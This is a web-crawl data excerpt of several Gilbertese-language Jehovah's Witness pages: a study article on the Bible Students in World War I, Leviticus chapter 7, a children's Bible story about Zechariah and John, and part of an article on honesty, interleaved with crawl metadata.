iai ni mataata ni bwaai tabeua ake a riki aika koreaki n te Baibara.\n6, 7. (a) Baikara kangaanga ake a riai n tokanikai i aoia Taan Reirei n te Baibara n te Moani Buaka Are Kabutaa Aonnaba? (b) Taekini katoto aika kaota ingaingaia Taan Reirei n te Baibara.\n6 Ni koauana, a rangi n tabetabe n uarongorongo Taan Reirei n te Baibara n te Moani Buaka Are Kabutaa Aonnaba (1914-1918). Iai bukina tabeua ngkai e boni kangaanga karaoan aei irouia. Ti na rinanoi uoua mai iai. Te moan, e kaatuuaki ni boong akanne te mwakuri ae tibwaakini booki aika aanaki n te Baibara. Ngke e katabuaki tibwaan te boki ae The Finished Mystery irouia taan tautaeka ni moan 1918, e a kangaanga ngkanne te uarongorongo irouia taari aika bati. A tuai rabakau n uarongorongo ni kabongana tii te Baibara, ao a onimakina te boki ae The Finished Mystery bwa e na \"taetaenikawai\" ibukia. Te kauoua, e bon irekereke ma moani butin te aoraki ae kakaiaki ae te Spanish Influenza n 1918. E a kangaanga irouia taan uarongorongo te mwamwananga ibukini butin te aoraki ae rangi n ewewe aei. Ma n aki ongei baikai ao kangaanga riki tabeua, a bane ni karaoi aia kabanea n tamaroa Taan Reirei n te Baibara ibukini kateimatoaani waakinan te mwakuri.\n7 N 1914, e a kaotaki te taamnei ae te \"Photo-Drama of Creation\" nakoia aomata aika raka i aon 9,000,000 irouia Taan Reirei n te Baibara ae karako mwaitiia. Te taamnei aei ae aranaki bwa te Drama, a botaki iai taamnei aika aki kakammwakuri ao aika kakammwakuri ma bwanaa ao karakinaia aomata mairoun Atam ni karokoa tokin te Tautaeka ae Maanna Tenga te Ririki. Bon te mwakuri ae rianako mwina n te tai anne. Iangoa aei. Mwaitiia aomata ake a nora te taamnei n 1914, e bati riki nakoni botani mwaitiia taan uarongorongoa te Tautaeka n Uea ni katobibia te aonnaba ni boong aikai! E kaotaki naba n te ribooti bwa n 1916 ao botani mwaitiia ake a iriri bobotaki bon 809,393 n te United States, ao n 1918 e birirake te mwaiti nakon 949,444. Ai korakorara ingaingaia Taan Reirei n te Baibara akanne!\n8. A kangaa n rereke baike a kainnanoi taari ibukini kakorakoraan aia onimaki n te moani buaka are kabutaa aonnaba?\n8 N te Moani Buaka Are Kabutaa Aonnaba ao e bati te kakorakora ibukini katauraoan amwarake n taamnei ao te kaungaunga ibukia Taan Reirei n te Baibara aika uamaenako. A boni kakorakoraaki taari aikai ni baikai bwa a na teimatoa n uarongorongo. E ururing rikaaki Richard H. Barber, are e mwakuri korakora naba n te tai anne ao e taku: \"Ti teimatoa ni boutokaiia mataniwi aika mwamwananga tabeman ao ni katauraoa Te Taua-n-Tantani ao ni kanakoi nako Kanata are e katabuakaki iai. I rangi ni kukurei bwa e reke au tai ni kanakoi n te meeri katoton te boki ae The Finished Mystery aika uarereke, nakoia raoraora aika bati ake a a bua aia boki bwa a anaaki mairouia. E bubutii Brother Rutherford bwa ti na bairei karaoani bwabwaro ni kaawa tabeua n te United States mai maeao ao ni kanakoia taani kabwarabwara ake a na kataia ni kabanei aia konaa ni kaungaia raoraora.\"\nKAINNANOAN KAETANI BWAAI TABEUA\n9. (a) E aera bwa a riai ana aomata te Atua ni kaetaki ao n anganaki te reirei ni kaetieti i marenan 1914 ao 1919? (b) Ni kaineti ma riaia n anganaki te reirei ni kaetieti, tera te bwai ae e aki nanonaki iai?\n9 A aki bane ni boraoi ma ana boto n reirei te Baibara bwaai nako ake a kakaraoi Taan Reirei n te Baibara i marenan 1914 ao 1919. E ngae ngke a kakaonimaki taari aikai, ma e aki eti raoi aia iango n taai nako ni kaineti ma te aantaeka nakoia taan tautaeka. (IRom 13:1) Ngaia are a aki bane n tei i nuka n taai nako ni kaineti ma te buaka. N te katoto, ngke e anga ana tua te beretitenti n te United States bwa e na kaokoroaki Mei 30, 1918 bwa te bong ibukin tataroakinan te rau, a kaumakaki n Te Taua-n-Tantani Taan Reirei n te Baibara bwa a na ira naba te bukamaru anne. Tabeman taari mwaane a anga te mwane ibukini boutokaan te buaka ao tabeman a riki bwa tautia. Ma e ngae n anne, e kairua iangoan ae a kataenikaiaki Taan Reirei n te Baibara n te moantai irouni Baburon ae Kakannato, ibukina bwa a kainnanoa kaetakia ao te reirei ni kaetieti. Ni kaitaraan anne, a ataia ae bon tabeia kaokoroaia ma Aaro aika kewe, ao n te Moani Buaka Are Kabutaa Aonnaba a a kuri ni bane ni kaokoroia ma te botaki n Aro ae kewe ae katobibia te aonnaba.\n10. Tera aroia Taan Reirei n te Baibara ni kaota karinean te maiu?\n10 E ngae ngke a aki ota raoi Taan Reirei n te Baibara n te bae e nanonaki n te tei i nuka n aron otara ni boong aikai, ma a bon ataa te bwai teuana: E katabuaki n te Baibara tiringan te aomata. Ngaia are tabeman taari ake a ira te buaka ao n uouotii bwaai ni buaka, a bon rawa ni kamanenai baikanne n tiringa te aomata iai. A boni kateaki mai moa tabeman ake a rawa n tiritiri bwa a aonga ni mate.\n11. Tera aroia taan tautaeka nakoia Taan Reirei n te Baibara ake a rawa ni buaka?\n11 E teretere raoi bwa e un te Riaboro n aroia taari n te buaka. Ngaia are e a kauekea \"te kangaanga n aran te tua.\" (TaiAre. 94:20) E oti n ana taeka te mataniwi n ana Taanga ni Buaka te U. S. ae Major-General James Franklin Bell nakoia J. F. Rutherford ao W. E. Van Amburgh bwa e a tia te Tabo ni Kaboowi n te U. S. ni kataia ni karina ana tua n te Auti n Tei bwa e riai ni kariaiakaki te tuuaa ae te kamateaki nakoia naake a rawa ni kamanenai bwaai ni buaka n te buaka. E bon nanonia Taan Reirei n te Baibara iai. E taetae ma unna ae korakora General Bell nakon Brother Rutherford ni kangai: \"E aki iranaki te tua anne ibukina bwa e totokoia [te Beretitenti n te U.S.] Wilson, ma ti ataa te anga ae kam na reke iai, ao ti na boni karaoia!\"\n12, 13. (a) E aera ngke a katuuaaeaki ni kabureaki i nanon te tai ae maan taari ake waniman? (b) E koaua bwa ni kabureakia e a uruaki iai aia motinnano are a na ongeaba iroun Iehova? Kabwarabwaraa.\n12 N tokina, e a reke ana anga te tautaeka ni katuuaaeia Taan Reirei n te Baibara. A kabureaki Brother Rutherford, Van Amburgh, ao onoman riki raoia aika taan tei ibukin te Watch Tower Society. E taku te tia moti ngke e motiki taekaia: \"E karuanikai riki rongorongon te Aro ae a irekereke iai mwaane aikai nakoia tautian Tiaman . . . A aki tii kaunia taani karaotua n te Tautaeka ao te taanga ni buaka, ma a kaunia naba mitinare ao Aaro ni kabane. E riai n rawawata tuuaaia.\" (Faith on the March, iroun A. H. Macmillan, i. 99) Ao e bon riki anne. A boni kabureaki Taan Reirei n te Baibara aika waniman aikai i nanon te tai ae maan n ana karabuuti te tautaeka i Atlanta i Georgia. Ma ngke e a toki te buaka, a a kainaomataaki ao a a kaetaki bukibuki ni kewe ibukia.\n13 Ngke a mena n te karabuuti mwaane aika waniman aikai, a bon teimatoa ni kakaonimaki nakon te bae taekinaki n te Baibara ngkai a ota raoi iai. A korea aia reta ni bubutii kainaomataaia nakon te beretitenti n te United States ae kangai kanoana: \"E taekinaki n te Baibara nanon te Uea aei: 'Tai kamatea te aomata,' ma ngkana iai kaain te Botaki ae [Taan Reirei n te Baibara] katabua maiuna nakon te Uea ao e a manga urua ana berita anne, e na boni kabuaa tangirana iroun te Atua ao ni kamaunaaki naba. Mangaia are a aki kona kaain te botaki anne ni kukurei ao ni kariaia bwa a na ira buakon tiringaia aomata.\" Ai ninikoriara naakai ni korea aei nakon te beretitenti! E teretere bwa bon akea nanoia taari mwaane aikai ni kani kakeaa aia onimaki!\nE A REKE TE KAINAOMATAAKI!\n14. Kabwarabwaraa man te Baibara te baere riki man 1914 ni karokoa 1919.\n14 Ni Maraki 3:1-3, e kabwarabwaraaki iai te tai are a kaitiakaki iai taani kabiraki ake \"tibun Rewi\" ni moa man 1914 ni karokoa moan 1919. (Warekia.) N te tai anne, a roko n te tembora n taamnei n tuoia taani beku iai Iehova ae te Atua ae \"te Uea ae koaua,\" ao Iesu Kristo ae \"te tia uota taekan te berita.\" Imwin reken te reirei ni kaetieti irouia ana aomata Iehova ake a kaitiakaki, a a tauraoi ni karaoa te mwioko riki teuana. N 1919, e a rineaki te \"toro ae kakaonimaki ma ni wanawana\" bwa e na katauraoi amwarake n taamnei ibukia ana toro te Atua. (Mat. 24:45) A a kainaomataaki ngkai ana aomata te Atua mai aani mwaakani Baburon ae Kakannato. Ni moa man te tai anne, e a teimatoa n rikirake ataakin nanon te Atua ao tangiran Tamaia are i karawa irouia ana aomata, man ana akoi ae rianako. Ai kakaitaura ngaiia ibukin ana kakabwaia! [1]\n15. Tera aron rotakira ni kainaomataara mairouni Baburon ae Kakannato?\n15 Ai kaungara te kainaomataaki mai aani Baburon ae Kakannato! Bon akea uaan ana kakorakora Tatan ni kamauna te Aro ni Kristian ae koaua mai aon te aba. Ma ti riai n aki mwaninga bukin anganakira iroun Iehova te inaomata aei. (2Kor. 6:1) A rangi ni bati aomata aika raraoi nanoia aika bon tauaki naba bwa taenikai irouia Aaro aika kewe. E riai ni kaotaki nakoia te kawai n otinako. Ti kona ni kaiririia. Ti bia katotongia tarira ake n tienture aika nako ni karaoa ara kabanea ni konaa ni buokiia aomata bwa a na kainaomataaki!\n^ [1] (barakirabe 14) A bati baika kuri n titeboo iai baike a riki nakoia I-Iutaia ake a kataenikaiaki 70 te ririki i Baburon ma baike a riki nakoia Kristian imwini moanakin te tannako man te koaua. Ma e ngae n anne, tiaki nanona bwa kataenikaiakia I-Iutaia bon te taetae ni burabeti ibukin te baere e riki nakoia Kristian. Teuana bukina bwa e kaokoro maanin te tai are a riki iai bwa taenikai. Ngaia are ti aki riai ni kataia n ukeri rongorongo ni kabane ibukini kataenikaiakia I-Iutaia ni kakaaei baika a titeboo iai, bwa aongkoa a kaineti naba ma baika riki nakoia Kristian aika kabiraki n ririki ake imwain 1919.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-kaongora-ibukin-te-reirei-nobembwa-2016\/a-kainaomataaki-man-te-aro-ae-kewe-taan-reirei-n-te-baibara\/","date":"2018-03-24T18:15:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650764.71\/warc\/CC-MAIN-20180324171404-20180324191404-00652.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2597,"character_repetition_ratio":0.089,"word_repetition_ratio":0.003,"special_characters_ratio":0.228,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7 \"'Aio tuan te karea ni kabooa mwin te bure:+ Bon te bwai ae moan te tabu te baei. 2 A na kamatea te man ae te karea ni kabooa mwin te bure n te tabo are a kamateia iai maan ake karea ni kabuekaki, ao e riai ni katimtimwaki raraana+ i aon rarikin te baonikarea ni kabutaa.+ 3 E na anga mwaetena ni kabane+ n ikotaki ma bukina ae te mwaete, ao te mwaete are rabuna te kanoannano, 4 ao kirine ake uoua ma mwaeteia ake i rarikin te bebee. E na anaa naba te mwaete are i aon te ato n ikotaki ma taiani kirine.+ 5 E na kabueki ni kabubui te ibonga* i aon te baonikarea bwa te karea ae kareanaki n te ai nakon Iehova.+ Bon te karea ni kabooa mwin te bure te baei. 6 A na bane ni kanna mwaane ake ibonga+ ao e riai ni kanaki n te tabo ae tabu. Bon te bwai ae moan te tabu te baei.+ 7 E kaineti naba te tua ibukin te karea ni kabwarabure nakon te karea ni kabooa mwin te bure. Bon ana bwai te ibonga are karaoia ibukini karekeani kabwaraani buure.+ 8 \"'Ngkana e anga te karea ni kabuekaki te ibonga ibukin temanna, ao e na riki bwa tibwangan te ibonga kunin+ te karea ni kabuekaki are e anganaki. 9 \"'E na riki te karea ae te amwarake n tatabeua nako are e umunaki n te ai n umum ke e katauraoaki n te bwaata ke i aon te baan,+ bwa ana bwai te ibonga are anga te karea. E na riki bwa tibwangan te ibonga.+ 10 Ma e na riki bwa aia bwai natin Aaron aika mwaane te karea ae te amwarake n tatabeua nako ae renganaki ma te oera+ ke ae mwau.+ A na titeboo mwaitin tibwangaia n tatabemania nako. 11 \"'Aio tuan te karea n raoi+ are e na anga te aomata nakon Iehova: 12 Ngkana e anga bwa kaotan te katituaraoi,+ ao e na anga bwa raon te karea ni katituaraoi bwerena aika mronron aika aki karikaki aika renganaki ma te oera, ao bwerena aika mmani aika aki karikaki aika kabiraki aoia n te oera, ao kariki aika mronron aika karaoaki man te burawa ae mte ae renganaki raoi ao ni kaboboaki ma te oera. 13 E na raona ana karea n raoi ake e anga ibukini kaotan te katituaraoi, ni kariki aika mronron aika karikaki. 14 E na anga kaka teuana mai buakoni baikai bwa te tibwanga ae tabu nakon Iehova, ao e na riki bwa tibwangan te ibonga are katimtimwi raraan taiani karea n raoi.+ 15 E na kanaki irikon te man ae te karea ni katituaraoi are ana karea n raoi n te bong are e anga iai. E aki riai ni kawakina teutana mai iai ni karokoa ae ingabong.+ 16 \"'Ngkana e na anga ana karea ae te taetae ni bau+ ke te karea ni kan anga,+ e na kanaki n te bong are e anga iai ana karea, ao e kona ni kanaki naba nikirana n te bong are imwina. 17 Ma e na kabuekaki n te ai nikiran irikon te karea anne n te katenua ni bong.+ 18 Ma ngkana e kanaki irikon te karea n raoi n te katenua ni bong, ao e na aki butimwaeaki iroun te Atua te aomata are anga te karea. E na aki reke akoana. Bon te bwai ae kamatauninga te baenne, ao e na katuuaaeaki ibukin ana bure te aomata* are kanna teutana.+ 19 E na aki kanaki irikon te karea ae boo ma te bwai ae kamwara. E na kabuekaki n te ai. A na kana nikiran irikona ae itiaki aomata nako aika itiaki. 20 \"'Ma e na kamateaki te aomata* are kana irikon te karea n raoi are ibukin Iehova n ana tai ni kamwara.+ 21 Ngkana e ringa te bwai ae kamwara te aomata,* ae te bwai ae kamwara ae irekereke ma rabwatan te aomata,+ ke te man ae aki itiaki,+ ke te bwai ae koro n ribaaki ae kamwara,+ ao e kana irikon te karea n raoi teutana are ibukin Iehova, ao e na kamateaki te aomata* anne.'\" 22 E reitia ni kangai Iehova nakoni Mote: 23 \"Tuangia tibun Iteraera ni kangai, 'Kam na tai kana mwaeten+ te kao mwaane ke te tiibu mwaane ae ataei ke te kooti. 24 E kona ni kabonganaaki mwaeten te man ae kuneaki ni mate ao mwaeten te man ae kamateaki iroun te man temanna, ibukini bwaai ake tabeua, ma kam aki riai ni kanna.+ 25 Bwa e na kamateaki te aomata* ae kana mwaeten te man are e anga bwa te karea ae kareanaki n te ai nakon Iehova. 26 \"'Kam na tai kana te raraa+ n taabo nako ake kam maeka iai, ae tao raraaia mannikiba ke maan. 27 E na kamateaki te aomata* ane kana te raraa.'\"+ 28 E reitia ni kangai Iehova nakoni Mote: 29 \"Tuangia tibun Iteraera ni kangai, 'Ane e anga ana karea n raoi nakon Iehova, e na angan Iehova mwakoron ana karea n raoi.+ 30 E na uota mwaeten te man i baina+ ma bwabwaan te man bwa te karea ae kareanaki n te ai nakon Iehova, ao e na katiotioi bwa te karea ni katiotioaki+ i matan Iehova. 31 E na kabueka te mwaete te ibonga i aon te baonikarea ni kabubua,+ ma e na riki bwabwaan te man bwa tibwangan Aaron ma natina mwaane.+ 32 \"'Kam na anga te ranga are te atai mai buakon ami karea n raoi bwa te tibwanga ae tabu nakon te ibonga.+ 33 E na riki te ranga are te atai bwa tibwangan natin Aaron te mwaane are anga raraan taiani karea n raoi ao mwaeteia.+ 34 Bwa I anaa bwabwaan te man are te karea ni katiotioaki ao te ranga are te tibwanga are tabu man aia karea n raoi tibun Iteraera, ao I angan Aaron ae te ibonga ma natina aika mwaane, bwa te tua ae teimatoa ibukia tibun Iteraera.+ 35 \"'Aio bon te tibwanga mai buakoni karea ake a kareanaki n te ai nakon Iehova ae e na kaokoroaki ibukia ibonga, aika Aaron ma natina mwaane, n te bong are e anga iai naakai bwa a na beku bwa ana ibonga Iehova.+ 36 E tua Iehova bwa a na anganaki naakai te tibwanga aei mairouia tibun Iteraera n te bong are e kabiriia iai.+ Bon te tua ae teimatoa n aia roro nako.'\" 37 Aio te tua ni kaineti ma te karea ni kabuekaki,+ te karea ae te amwarake,+ te karea ni kabwarabure,+ te karea ni kabooa mwin te bure,+ te karea ae kareanaki ibukin te kateirake nakon te nakoa n ibonga,+ ao te karea n raoi,+ 38 n aron are e tua Iehova nakoni Mote n te Maunga ae Tinai,+ n te bong are e tua nakoia tibun Iteraera bwa a na anga aia karea nakon Iehova n rereuan Tinai.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/7\/","date":"2018-03-21T11:30:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647612.53\/warc\/CC-MAIN-20180321102234-20180321122234-00063.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1160,"character_repetition_ratio":0.088,"word_repetition_ratio":0.011,"special_characters_ratio":0.246,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E maeka te ibonga ae Tekaria ma buuna ae Eritabeta n uakaan ma Ierutarem, 400 tabun te ririki imwini manga katean oon te kaawa aei. A a rangi ni maan n tekateka n taanga ma akea natiia. N te bong teuana ngke e anga te karea ae boiarara Tekaria n te ruu ae tabu n te tembora, ao e kaoti te anera ae Kabiriera. E maaku Tekaria ma e taku Kabiriera: 'Tai maaku. I uota te rongorongo ae raoiroi mairoun Iehova. E na bungia natim te mwaane buum ae Eritabeta ao e na aranaki bwa Ioane. E a tia Iehova n rinea Ioane bwa e na karaoa te mwakuri ae okoro.' E taku Tekaria: 'N na kangaa ni kakoauako? Ti a aki kona ni kariki bwa I a kara ma buu.' E taku Kabiriera: 'I kanakoaki iroun te Atua bwa N na anganiko te rongorongo aei. Ma ibukina bwa ko aki kakoauaai, ko na aki kona n taetae ni karokoa e bungiaki te teei.'\nE rangi ni maan Tekaria n te ruu ae tabu nakon are e taneiai iai. Ngaia are ngke e a otinako, a kan ataia aomata ake a tataninga i tinaniku bwa tera ae riki. E a aki kona n taetae Tekaria. E tii kona ni kakammwakurii baina nakoia. A a ataia ngkanne aomata bwa e anganaki Tekaria te rongorongo mairoun te Atua.\nImwina riki, e a bikoukou Eritabeta ao e bungia natina te mwaane, n aron are e taekinna te anera. A roko raoraon neiei ma ana koraki n nora te teei. A rangi ni kukurei iroun neiei. E taku Eritabeta: 'E na aranaki bwa Ioane.' Ao a taku: 'Akea n am utu ae arana Ioane. Aranna bwa Tekaria, bwa ingoan tamana.' Ma e korei taeka aikai Tekaria: 'Bon Ioane arana.' N te tai naba anne ao e a kona n taetae Tekaria! E a butanako taekan te teei aei i Iutaia ao a iango ni kangai aomata: 'E na ikawairake bwa antai te teei aei?'\nImwin anne, e a kaonaki Tekaria n te taamnei ae raoiroi. E taetae ni burabeti ni kangai: 'E na karaoiroaki Iehova. E berita ngkoa nakon Aberaam bwa E na kanakoa te tia kamaiu ae te Mesia, bwa e na kamaiuira. E na riki Ioane bwa te burabeti ao e na katauraoa te kawai imwain te Mesia.'\nE riki naba te bwai ae kamimi nakoni Maria ae ana koraki Eritabeta. Ti na noria n te mwakoro are imwina.\n\"E aki konaaki aei irouia aomata, ma e konai bwaai ni kabane te Atua.\"—Mataio 19:26","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/11\/tekaria-eritabeta-ioane\/","date":"2018-03-21T11:31:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647612.53\/warc\/CC-MAIN-20180321102234-20180321122234-00063.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":420,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a kaman iangoaki bwa a rangi ni kakawaki atibu aika taiman. Boon tabeua i buakoia boni mirion ma mirion te taraa. Ma iai riki baika rangi ni kakawaki iroun te Atua nakon taiman ke atibu riki tabeua aika kakawaki?\nE kunea te bwatiboti teuana i rarikini mwengana Haykanush, ae te tia uarongorongo ae tuai ni bwabetitoaki ae maeka i Armenia. Iai i nanon te bwatiboti anne taian debit card ao te mwane ae rangi ni bati. E kaongoa buuna neiei ae te tia uarongorongo naba ae tuai ni bwabetitoaki.\nE korakora aia kangaanga te taanga aei ni kaineti ma te mwane ao iai naba aia taarau. Ma a motikia bwa a na kaoka te mwane nakon te tabo are kaotaki n te bwatiboti. E rangi ni kubanako teuare bua ana bwatiboti, ao ai aroia naba ana utu. A kabwarabwaraa Haykanush ma buuna ae a riki ni bwabwaina te koaua man te baere a reiakinna n te Baibara. A iangoia bwa a riai ni bwaina te koaua, ao a kabongana aia tai aei ni kabwarabwaraia iai Ana Tia Kakoaua Iehova, ao n angania kaain te utu arei aia boki tabeua.\nA kan anga te mwane teutana te utu arei nakon Haykanush bwa kaniwangana, ma e karautaeka neiei. N te bong are imwina, a a kawaraki naakai iroun neiere te buu te aine ao e tebona Haykanush bwa e na butimwaea te mwamwa ae te taiman ae kaotan aia kakaitau kaain te utu.\nN aron te utu anne, a bati aomata aika a na mimi n aron Haykanush ma buuna ni bwabwaina te koaua. Ma e na mimi naba iai Iehova? Tera arona n taraa aroia ni bwabwaina te koaua? E uaana aia kakorakora anne?\nAROARO AIKA RANGI NI KAKAWAKI RIKI NAKON TE KAUBWAI\nA bebete kaekaan titiraki akanne. E riki anne ibukina bwa a kakoauaa ana toro te Atua ae e rangi ni kakawaki riki i matan Iehova kaotiotan aroarona, nakon taiman, te koora, ke kaubwai riki tabeua. Eng, e kaokoro ana iango Iehova ma angia aomata ibukin te bwai ae rangi ni kakawaki ao ae aki. (Ita. 55:8, 9) Ao irouia ana toro Iehova, kaotiotan raoi aroarona bon tiaia ae rangi ni kakawaki.\nTi kona n nora aei n ae taekinaki n te Baibara ibukin te ataibwai ao te wanawana. E kangai Taeka N Rabakau 3:13-15: \"E a kukurei te aomata ae kunea te wanawana ao te aomata ae karekea te ataibwai, e raoiroi riki karekeana nakoni karekean te tirewa, ao e raoiroi riki anaakina bwa te raka nakon anaakin te koora. E rangi ni kakawaki riki nakon te ane, ao akea te bwai ae ko tangiria ae kona ni kabotauaki ma ngaia.\" E teretere bwa a bon rangi ni kakawaki riki aroaro akanne iroun Iehova nakoni kaubwai ni kabane.\nTera ngkanne ana iango ni bwabwainan te koaua?\nE bwabwaina te koaua Iehova, ao e \"aki kona ni kewe.\" (Tito 1:2) E kaira te abotoro Bauro bwa e na koroboki nakoia Kristian ake taian Ebera n te moan tienture, ni kangai: \"Teimatoa n tataro ibukira, bwa ti onimakinna bwa a bon itiaki mataniwin nanora, ngkai ti kani bwabwaina te koaua ni bwaai ni kabane.\"\nE katea te katoto ae raoiroi Iesu Kristo ibukini bwabwainan te koaua. N te katoto, uringa te tai are e taetae iai te Ibonga ae Rietata ae Kaiaba, ni kangai: \"I tuangko bwa ko na taetae n tuea i matan te Atua ae maiu, tuangira ngkana bon te Kristo ngkoe ae Natin te Atua!\" E taekina te koaua Iesu ni kaotia ae bon te Mesia ngaia, e ngae ngke e ataia ae kaotan te koaua e kona ni karekea bukinana irouia kaain te Tanirim bwa te tia bakannatua, ao e kona ni kamateaki iai.\nTera arora ngaira? Ti na bwaina te koaua ngkana arona bwa a na reke arora ngkana ti aki kaotii bwaai ni kabane ke ti kabwaoua teutana te rongorongo?\nE KANGAANGA BWABWAINAN TE KOAUA\nE koaua ae e kangaanga bwainan te koaua ni kabaneani boong aikai, bwa a bati \"taan tangiriia i bon irouia [ao] taani bakimwane.\" (2Tim. 3:2) E rotaki naba bwainan te koaua n te kangaanga ibukin te mwane ke te raraoma n te mwakuri ni kareketianti. A bati aika a iangoia bwa a aki bure ngkana a iraa, a babakanikawai, ke a irekereke ma waaki ni babakanikawai tabeua. E a rangi n taabangaki te iango aei n te aro are a a bati aika iangoia bwa akea bongani bwainan te koaua ibukini karekean aroia. A a tia naba Kristian tabeman ni karaoi motinnano aika aki raraoi n te itera aei ao ibukini 'karekean aroia n te babakanikawai,' ao e a kabuakakaaki taekaia n te ekaretia.\nMa angia Kristian a kakairi iroun Iesu. A ataia ae a kakawaki riki aroaro aika kakukureia te Atua nakoni kaubwai nako ke reken aroia. Ngaia are a aki babakanikawai rooro n rikirake aika Kristian ibukin reken aia bwi ae raoiroi n te reirei. (TaeRab. 20:23) E koaua ae e na aki reke kaniwangam n taai nako ni bwainan te koaua, n aron are riki iroun Haykanush. Ma e ngae n anne, bon te bwai ae eti i matan te Atua bwabwainan te koaua, ao ti kona iai ni kateimatoa itiakini mataniwin nanora, ae te bwai ae kakawaki ni koaua.\nE oti raoi anne n ana katoto Gagik. E taku teuaei: \"Imwain rikiu bwa te Kristian, I mwakuri n te kambwana ae bubura ae te tia bwaibwai iai e aki kakabwakaa ana taekiti ibukina bwa e tii kaotii taekan ana raka te kambwana ae uarereke. Ngkai te manatia ngai, I kantaningaaki bwa N na 'boraraoi' ma te tia mwakuri n te taekiti n anganna te bwai ni kamaraato bwa e na tarariaoi waaki ni babakanikawai n te kambwana. Ibukin anne, I a ataaki bwa te mwaane ae babakanikawai. Ngke I a ataa te koaua, I a rawa ni manga karaoa anne e ngae ngke e bubura boou n au mwakuri. Ma I a katea oin au bitineti n te aro ae eti i aan te tua man te moani bong are I waaki iai, ao I kabwakai au taekiti ni kabane.\"\nE taku Gagik: \"Ai tii iteran are mai mwaina mwaitin au karekemwane, ngaia are e a kangaanga karekeani baika kainnanoi au utu. Ma I a kukurei riki ngkai. E a itiaki mataniwin nanou i matan Iehova. I riki bwa te katoto ae raoiroi nakoia uoman natiu mwaane, ao I a tau ibukini mwioko tabeua n te ekaretia. I a ataaki ngkai i buakoia taani mwakuri n te taekiti ao naake I bitineti ma ngaiia, bwa te mwaane ae bwabwaina te koaua.\"\nIEHOVA BON NIBWAN TE IBUOBUOKI\nE tangiriia Iehova naake a karekea kamoamoaan ana reirei ni kaotiotan aroarona aika rianako, n aroni bwabwainan te koaua. (Tito 2:10) E kaira te Uea ae Tawita bwa e na korea te karaunano aei: \"Te ataeinimwaane ngai ngkoa ao I a kara ngkai, ma I tuai man nora te aomata ae raoiroi ae kaakaki taekana, ke natina aika bubutii te amwarake.\"\nE oti koauan anne n rongorongon Ruta ae kakaonimaki. E tiku i rarikin tinani buuna ae Naomi, ao e aki kitanna ngke e a kara. E mwaing Ruta nako Iteraera, ike e a kona iai n taromauria te Atua ae koaua. (Ruta 1:16, 17) Ni menana i Iteraera, e kaotia raoi bwa bon te aine ae bwabwaina te koaua ao e maribo, n arona ni mwakuri korakora ni karemrem n aron ae baireaki n te Tua. E aki kitana Ruta ao Naomi Iehova bwa a na kainnano, n aron are e rinanona imwina Tawita. (Ruta 2:2-18) E bati riki ae e katauraoia Iehova nakon Ruta irarikin are e kainnanoia. E rinea neiei bwa e na riki bwa ana bakatibu te Uea ae Tawita ao te Mesia naba are beritanaki!\nA kona tabeman ana toro Iehova ni kaaitara ma te kangaanga ike a aikoa kona iai ni karekei baika kainnanoi. N oneani mwin are a na babakanikawai ibukin tokin aia kangaanga, a mwakuri korakora ao n taningamarau. A kaotia raoi bwa e kakawaki riki irouia aroaron Iehova aika rianako, n aroni bwabwainan te koaua, nakon te bwai teuana.\nN aron Ruta rimoa, a onimakina mwaakan Iehova n ibuobuoki Kristian ni katobibia te aonnaba. A onimakina raoi Teuare tua korean te berita ae kangai n ana Taeka: \"N na bon aki kaakiko ao N na bon aki kitaniko.\" (Ebera 13:5) E bati ana tai Iehova ni kaotia ae e kona ao e na boni buokiia ake a rotakibuaka ma a bwaina te koaua n taai nako. E bwaina te koaua n ana berita are e na karekei baika kainnanoaki ibukin te maiu.\nEng, a iangoia aomata bwa a rangi ni kakawaki taiman ao baika kakawaki riki tabeua. Ma ti kona ni koaua raoi bwa e rangi ni kakawaki riki iroun Tamara are i karawa arora ni bwabwaina te koaua ma aroarona ake tabeua. Eng, e kakawaki riki nakon atibu ni kabane aika rangi ni 